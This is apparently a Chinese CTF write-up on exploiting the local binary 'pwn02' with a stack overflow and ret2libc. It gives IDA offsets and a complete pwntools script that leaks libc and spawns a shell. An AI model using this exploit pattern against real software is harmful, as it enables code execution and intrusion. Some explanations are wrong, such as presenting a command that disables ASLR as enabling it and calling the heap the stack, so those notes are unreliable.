注:1.1检查时候开启地址随机化
ldd +程序
1.2开启地址随机化命令:
echo 0 >/proc/sys/kernel/randomize_va_space
0 - 表示关闭进程地址空间随机化。
1 - 表示将mmap的基址,stack和vdso页面随机化。
2 - 表示在1的基础上增加栈(heap)的随机化。
运行程序
注:没有权限是最头疼的
(这样比较不规范)
1.开启了地址随机化和
NX
(栈不可执行机制),我们在return
的结束位置构建一个布局。注:我们需要些泄露出
libc
的基址libc_bace
,在利用ret2libc
的布局绕过陷阱.我们需要在一次运行中利用泄露的地址和构建的布局(因为没运行一次程序,对应的地址都会发生变化,是不可预测的)。流程
:当调用puts
时,__lic_start_main
作为参数传入,这样我们就可以获得__libc_start_main
在程序中的加载地址,当puts
返回时会回到main
函数当中,从而实现堆漏洞的二次利用。
需要找的知识点:
1.获得程序调用的一个libc函数的在程序里的真实地址---------func_true_addr
2.获得这个函数在libc文件里的偏移地址---------------------------func_offset_addr
3.通过相减得到libc在程序里的加载地址----------------------libc_base = func_true_addr - func_offset_addr
查找偏移地址
1.在IDA中查看put的偏移地址
puts:08048868
2.查找
main
的偏移地址main:080496D1
3.查找__libc_start_main的偏移地址
快捷键
shft+f7
调出窗口,找到.got函数进入__libc_start_main : 0804BFD8
代码
注:使用了两次布局,第一次泄露libc
的地址,第二次ret2libc
布局,绕过栈不可执行。
from pwn import *
r = process('./pwn02')
def overflow(data):
r.recvuntil('Your choice: ')
r.sendline('3')
r.recvuntil('):')
r.sendline('+')
r.recvuntil('):')
r.sendline('1 2')
r.recvuntil('input your id')
r.sendline(data)
buf = 'A' * 44
buf += p32(0x08048868)
buf += p32(0x080496D1)
buf += p32(0x0804BFD8)
overflow(buf)
r.recvuntil('...\n')
leak_message = r.recv(4)
print repr(leak_message)
leak_value = u32(leak_message)
print 'leak_value is ' + hex(leak_value)
libc_base =leak_value - 0x000198B0
system_addr = libc_base + 0x0003D7E0
sh_addr = libc_base + 0x0017c968
buf = 'A' * 44
buf += p32(system_addr)
buf += p32(0xdeadbeef)
buf += p32(sh_addr)
overflow(buf)
r.interactive()
完成交互!